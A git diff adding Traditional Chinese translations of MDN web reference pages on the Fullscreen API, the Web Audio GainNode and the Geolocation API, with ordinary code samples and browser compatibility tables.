+<p class="summary">全螢幕 API 提供一個簡便的方式使網頁可以使用佔用使用者的整個螢幕的方式來顯示內容。該 API 讓您能夠容易地指示瀏覽器使某個元素及其子系（如有）佔用整個螢幕，並隱藏螢幕上所有瀏覽器使用者介面及其他應用程式。</p>
+
+<div class="note">目前並非所有瀏覽器均使用 API 的沒有前綴的版本。請查閱有關前綴以及名稱差異的表格（您也可以使用 Fscreen 來提供跨瀏覽器 API 存取）。</div>
+
+<h2 id="Specification" name="Specification">啟動全螢幕模式</h2>
+
+<p>如果您有一個元素打算以全螢幕模式展示（例如 {{ HTMLElement("video") }}），您可以呼叫該元素之 {{ domxref("Element.requestFullscreen()") }} 方法使之以全螢幕模式顯示。</p>
+
+<p>考慮此 {{ HTMLElement("video") }} 元素：</p>
+
+<pre class="brush: html">&lt;video controls id="myvideo"&gt;
+  &lt;source src="somevideo.webm"&gt;&lt;/source&gt;
+  &lt;source src="somevideo.mp4"&gt;&lt;/source&gt;
+&lt;/video&gt;
+</pre>
+
+<p>我們可以使用指令碼將此影片全螢幕顯示：</p>
+
+<pre class="brush: js">var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+} else if (elem.msRequestFullscreen) {
+  elem.msRequestFullscreen();
+} else if (elem.mozRequestFullScreen) {
+  elem.mozRequestFullScreen();
+} else if (elem.webkitRequestFullscreen) {
+  elem.webkitRequestFullscreen();
+}
+</pre>
+
+<h3 id="呈現差異">呈現差異</h3>
+
+<p>值得留意的是，Gecko 及 WebKit 的實作有關鍵分別：Gecko 會增加 CSS 規則讓全螢幕的元素展延至填滿整個螢幕："<code>width: 100%; height: 100%</code>"。WebKit 則不會執行此動作，取而代之的是把該元素置中，並以原先的大小顯示。要取得同樣的全螢幕行為，您需要為該元素自行添加 "<code>width: 100%; height: 100%;</code>" 的 CSS 規則：</p>
+
+<pre class="brush: css">#myvideo:-webkit-full-screen {
+  width: 100%;
+  height: 100%;
+}
+</pre>
+
+<p>另一方面，如果您嘗試在 Gecko 上模擬 WebKit 的行為，您需要把呈現的元素放置在另一個實際調整為全螢幕的元素裡面，再使用 CSS 規則來調整內部元素至您想要的外觀。</p>
+
+<h3 id="通知">通知</h3>
+
+<p>如果成功進入全螢幕模式，包含該元素的文件將會接收到 {{ event("fullscreenchange") }} 事件。當離開全螢幕模式時，則會收到 {{ event("fullscreenchange") }} 事件。注意 {{ event("fullscreenchange") }} 事件並不提供任何資訊指示進入或離開全螢幕模式，但如果文件的 {{ domxref("document.fullscreenElement", "fullscreenElement") }} 屬性的值不為 null，則表示您正在處於全螢幕模式。</p>
+
+<h3 id="全螢幕要求失敗">全螢幕要求失敗</h3>
+
+<p>並不是所有情況下都保證可以進入全螢幕模式。例如，{{ HTMLElement("iframe") }} 元素含有 {{ HTMLAttrXRef("allowfullscreen", "iframe") }} 屬性來選擇是否容許其內容能以全螢幕方式呈現。而且，例如視窗式外掛程式等的某些內容並不可以在全螢幕模式中顯示。把無法呈現為全螢幕的元素設定為全螢幕模式的嘗試都沒有作用，而要求顯示為全螢幕的元素會接收到 <code>mozfullscreenerror</code> 事件。當全螢幕要求失敗時，Firefox 會在網頁主控台上紀錄一則錯誤訊息，解釋要求失敗的原因。但在 Chrome 以及新版的 Opera 上，則不會產生這些錯誤訊息。</p>
+
+<div class="note">
+<p><strong>注意：</strong>全螢幕要求必須在事件處理常式中呼叫，否則將會被拒絕。</p>
+</div>
+
+<h2 id="離開全螢幕模式">離開全螢幕模式</h2>
+
+<p>使用者永遠可以自行離開全螢幕模式，詳見 {{ anch("Things your users want to know") }}。您也可以呼叫 {{domxref("Document.exitFullscreen()")}} 方法來達到相同效果。</p>
+
+<h2 id="其他資訊">其他資訊</h2>
+
+<p>{{ domxref("document") }} 提供一些附加資訊，對於開發全螢幕網頁應用程式的時候非常有用：</p>
+
+<dl>
+ <dt>{{ domxref("document.fullscreenElement", "fullscreenElement") }}</dt>
+ <dd><code>fullscreenElement</code> 屬性傳回正在顯示為全螢幕模式的 {{ domxref("element") }}。如其為非 null 值，表示文件目前在全螢幕模式。如其為 null，表示文件目前不在全螢幕模式。</dd>
+ <dt>{{ domxref("document.fullscreenEnabled", "fullscreenEnabled") }}</dt>
+ <dd><code>fullscreenEnabled</code> 屬性傳回文件是否容許您要求進入全螢幕訊息。</dd>
+</dl>
+
+<h2 id="Things_your_users_want_to_know" name="Things_your_users_want_to_know">使用者可能想了解的訊息</h2>
+
+<p>您可能會讓使用者知道他們可以按 <kbd>ESC</kbd> 或 <kbd>F11</kbd> 鍵來離開全螢幕模式。</p>
+
+<p>此外，瀏覽其他頁面、切換分頁、或切換到其他應用程式（例如按 鍵）亦會離開全螢幕模式。</p>
+
+<h2 id="Specification" name="Specification">範例</h2>
+
+<p>In this example, a video is presented in a web page. Pressing the Return or Enter key lets the user toggle between windowed and fullscreen presentation of the video.</p>
+
+<p><a href="/samples/domref/fullscreen.html">查看示例</a></p>
+
+<h3 id="監視_Enter_鍵">監視 Enter 鍵</h3>
+
+<p>When the page is loaded, this code is run to set up an event listener to watch for the 'enter' key.</p>
+
+<pre class="brush: js">document.addEventListener("keydown", function(e) {
+  if (e.keyCode == 13) {
+    toggleFullScreen();
+  }
+}, false);
+</pre>
+
+<h3 id="Toggling_fullscreen_mode">Toggling fullscreen mode</h3>
+
+<p>This code is called when the user hits the Enter key, as seen above.</p>
+
+<pre class="brush: js">function toggleFullScreen() {
+  if (!document.fullscreenElement &amp;&amp;    // alternative standard method
+      !document.mozFullScreenElement &amp;&amp; !document.webkitFullscreenElement &amp;&amp; !document.msFullscreenElement ) {  // current working methods
+    if (document.documentElement.requestFullscreen) {
+      document.documentElement.requestFullscreen();
+    } else if (document.documentElement.msRequestFullscreen) {
+      document.documentElement.msRequestFullscreen();
+    } else if (document.documentElement.mozRequestFullScreen) {
+      document.documentElement.mozRequestFullScreen();
+    } else if (document.documentElement.webkitRequestFullscreen) {
+      document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT);
+    }
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    } else if (document.msExitFullscreen) {
+      document.msExitFullscreen();
+    } else if (document.mozCancelFullScreen) {
+      document.mozCancelFullScreen();
+    } else if (document.webkitExitFullscreen) {
+      document.webkitExitFullscreen();
+    }
+  }
+}
+</pre>
+
+<p>This starts by looking at the value of the <code>fullscreenElement</code> attribute on the {{ domxref("document") }} (checking it prefixed with both <code>moz</code>,<code> ms</code>,<code> </code>and <code>webkit</code>). If it's <code>null</code>, the document is currently in windowed mode, so we need to switch to fullscreen mode. Switching to fullscreen mode is done by calling either {{ domxref("element.mozRequestFullScreen()") }} <code>msRequestFullscreen()</code>or <code>webkitRequestFullscreen()</code>, depending on which is available.</p>
+
+<p>If fullscreen mode is already active (<code>fullscreenElement</code> is non-<code>null</code>), we call {{ domxref("document.mozCancelFullScreen()") }}, <code>msExitFullscreen</code> or <code>webkitExitFullscreen()</code>, again depending on which browser is in use.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器兼容性</h2>
+
+<p>Although  Gecko , Trident, and WebKit implement a draft of this API, there are some subtle differences. This document doesn't necessarily try to call them all into focus. The article will be revised as the spec and implementations fall closer into alignment with one another.</p>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>15 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("9.0") }} {{ property_prefix("-moz") }}</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>12.10</td>
+   <td>5.0 {{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>fullscreenEnabled</code></td>
+   <td>20 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("10.0") }} {{ property_prefix("-moz") }}</td>
+   <td>11 {{ property_prefix("-ms") }}</td>
+   <td>12.10</td>
+   <td>5.1 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>28 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("9.0") }}{{ property_prefix("-moz") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>fullscreenEnabled</code></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>28 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("10.0") }} {{ property_prefix("moz") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>Although this API was introduced in Gecko 9.0 {{ geckoRelease("9.0") }}, it's not enabled by default in that release. To enable it, set the <code>full-screen-api.enabled</code> preference to <code>true</code>. The API is enabled by default in Gecko 10.0 {{ geckoRelease("10.0") }}. In Gecko all the API is spelt "fullScreen".</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<p><a class="external" href="http://fullscreen.spec.whatwg.org/">Fullscreen API</a></p>
+
+<h2 id="非標準方法">非標準方法</h2>
+
+<p>These are some of the methods that browsers implemented before the standard was drafted. Having the standard methods described above it's better to avoid using the following ones:</p>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/window.fullScreen" title="/en-US/docs/DOM/window.fullScreen"><code>window.fullScreen</code></a> (Firefox)</li>
+ <li><code>HTMLMediaElement.webkitDisplayingFullscreen</code></li>
+ <li><code>HTMLMediaElement.webkitEnterFullscreen</code></li>
+ <li><code>HTMLMediaElement.webkitExitFullscreen</code></li>
+ <li><code>HTMLMediaElement.webkitSupportsFullscreen</code></li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{ domxref("element.mozRequestFullScreen()") }}</li>
+ <li>{{ domxref("element.mozCancelFullScreen()") }}</li>
+ <li>{{ domxref("document.mozFullScreen") }}</li>
+ <li>{{ domxref("document.mozFullScreenElement") }}</li>
+ <li>{{ domxref("document.mozFullScreenEnabled") }}</li>
+ <li>{{ cssxref(":-moz-full-screen") }}</li>
+ <li>{{ cssxref(":-moz-full-screen-ancestor") }}</li>
+ <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li>
+</ul>
+
+<ul>
+ <li><a class="external" href="http://blog.pearce.org.nz/2011/11/firefoxs-html-full-screen-api-enabled.html" title="http://blog.pearce.org.nz/2011/11/firefoxs-html-full-screen-api-enabled.html">Blog post: Firefox's HTML full-screen API enabled in Nightly builds</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/gainnode/gain/index.html b/files/zh-tw/web/api/gainnode/gain/index.html
new file mode 100644
index 0000000000..895a356e25
--- /dev/null
+++ b/files/zh-tw/web/api/gainnode/gain/index.html
@@ -0,0 +1,113 @@
+---
+title: GainNode.gain
+slug: Web/API/GainNode/gain
+tags:
+  - API
+translation_of: Web/API/GainNode/gain
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>{{ domxref("GainNode") }} 介面的 <code>gain</code> 屬性是 <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}}，代表增益的數值。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0.5;
+</pre>
+
+<h3 id="傳回值">傳回值</h3>
+
+<p>一個 {{domxref("AudioParam")}}.</p>
+
+<div class="note">
+<p><strong>註：</strong> 雖然傳回的 <code>AudioParam</code> 是唯讀的，但是它所代表的值可以更改。</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createGain","Example")}}</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-GainNode-gain', 'gain')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容度">瀏覽器相容度</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/gainnode/index.html b/files/zh-tw/web/api/gainnode/index.html
new file mode 100644
index 0000000000..1d52092799
--- /dev/null
+++ b/files/zh-tw/web/api/gainnode/index.html
@@ -0,0 +1,168 @@
+---
+title: GainNode
+slug: Web/API/GainNode
+translation_of: Web/API/GainNode
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p><code>GainNode</code> 介面代表的是音量改變。 這是 {{domxref("AudioNode")}} 音訊處理模組，可以對輸入的訊號做增益 (gain) 後輸出。一個 <code>GainNode</code> 有一個輸入和一個輸出，兩者有相同的聲道數。</p>
+</div>
+
+<p>增益 (gain) 是無單位的數值，隨時間變化，會用來和所有輸入聲道的取樣做相乘。 如果更改的話，新的增益會用 de-zippering 演算法處理，以避免輸出聲音出現難聽的「喀」聲。</p>
+
+<p><img alt="The GainNode is increasing the gain of the output." src="https://mdn.mozillademos.org/files/5085/WebAudioGainNode.png" style="height: 116px; width: 774px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Number of inputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Number of outputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count mode</th>
+   <td><code>"max"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count</th>
+   <td><code>2</code> (not used in the default count mode)</td>
+  </tr>
+  <tr>
+   <th scope="row">Channel interpretation</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("GainNode.GainNode", "GainNode()")}}</dt>
+ <dd>Creates a new instance of an GainNode object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("GainNode.gain")}} {{readonlyinline}}</dt>
+ <dd>是 <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}} ，代表增益值</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>No specific method; inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createGain","Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-gainnode-interface', 'GainNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}}{{property_prefix("webkit")}}<br>
+    {{CompatOpera(22)}}</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(33.0)}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocation/clearwatch/index.html b/files/zh-tw/web/api/geolocation/clearwatch/index.html
new file mode 100644
index 0000000000..c1d2979db2
--- /dev/null
+++ b/files/zh-tw/web/api/geolocation/clearwatch/index.html
@@ -0,0 +1,132 @@
+---
+title: Geolocation.clearWatch()
+slug: Web/API/Geolocation/clearWatch
+translation_of: Web/API/Geolocation/clearWatch
+---
+<p>{{ APIref("Geolocation API") }}</p>
+
+<p><strong><code>Geolocation.clearWatch()</code></strong> 這個函式是用來取消   {{domxref("Geolocation.watchPosition()")}} 註冊的函式。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">navigator.geolocation.clearWatch(<em>id</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>編號(id)</em></dt>
+ <dd>這個編號(ID) 是由 {{domxref("Geolocation.watchPosition()")}} 這個函式所回傳，當你不再需要收到位置更新時，你可以用此編號，取消 {{domxref("Geolocation.watchPosition()")}} 的註冊。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}</li>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocation/getcurrentposition/index.html b/files/zh-tw/web/api/geolocation/getcurrentposition/index.html
new file mode 100644
index 0000000000..78c26d3e8e
--- /dev/null
+++ b/files/zh-tw/web/api/geolocation/getcurrentposition/index.html
@@ -0,0 +1,127 @@
+---
+title: Geolocation.getCurrentPosition()
+slug: Web/API/Geolocation/getCurrentPosition
+translation_of: Web/API/Geolocation/getCurrentPosition
+---
+<p>{{ APIRef("Geolocation API") }}</p>
+
+<p><strong><code>Geolocation.getCurrentPosition()</code></strong> 方法用來獲取設備當前的位置。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">navigator.geolocation.getCurrentPosition(<em>success[</em>, <em>error[</em>, <em>options]]</em>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>success</em></dt>
+ <dd>一個回呼函式(callback function) 會被傳入一個{{domxref("Position")}} 的物件。</dd>
+ <dt><em>error</em> {{optional_inline}}</dt>
+ <dd>一個選擇性的錯誤回呼函式(callback function)，會被傳入一個 {{domxref("PositionError")}} 的物件。</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>一個選擇性的 {{domxref("PositionOptions")}} 的物件。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Your current position is:');
+  console.log('Latitude : ' + crd.latitude);
+  console.log('Longitude: ' + crd.longitude);
+  console.log('More or less ' + crd.accuracy + ' meters.');
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Navigator.geolocation")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocation/index.html b/files/zh-tw/web/api/geolocation/index.html
new file mode 100644
index 0000000000..3dda732dbf
--- /dev/null
+++ b/files/zh-tw/web/api/geolocation/index.html
@@ -0,0 +1,118 @@
+---
+title: Geolocation
+slug: Web/API/Geolocation
+tags:
+  - API
+  - Advanced
+  - Geolocation API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/Geolocation
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Geolocation</strong></code> 介面代表一個物件可以透過你的網頁程式去獲得你的裝置位置。這個介面提供了網站或應用程式根據使用者的位置去客製化呈現的內容。</p>
+
+<p>{{domxref("Navigator")}} 此物件實作了 {{domxref("Navigator.geolocation")}} 介面。</p>
+
+<div class="note">
+<p><strong>備註:</strong> 因為隱私的因素，當網頁要求存取位置資訊時，用戶會被提示通知並且詢問授權與否。注意不同的瀏覽器在詢問授權時有各自不同的策略和方式。</p>
+</div>
+
+<h2 id="性質">性質</h2>
+
+<p><em><code>Geolocation</code> 介面沒有繼承也沒有時做任何方法</em>。</p>
+
+<h2 id="方法">方法</h2>
+
+<p><em><em><code>Geolocation</code> 介面沒有繼承任何方法</em></em>。</p>
+
+<dl>
+ <dt>{{domxref("Geolocation.getCurrentPosition()")}}</dt>
+ <dd>取得裝置當前位置，並回傳{{domxref("Position")}}。</dd>
+ <dt>{{domxref("Geolocation.watchPosition()")}}</dt>
+ <dd>返回一個長整數，註冊一個回呼函數。這個方法是用來註冊一個處理的函式，當使用者的裝置位置更新時，這個函式所傳入的回呼函式(callback function) 就會自動被呼叫。</dd>
+ <dt>{{domxref("Geolocation.clearWatch()")}}</dt>
+ <dd>移除指定註冊的<code> watchPosition()</code>。</dd>
+</dl>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
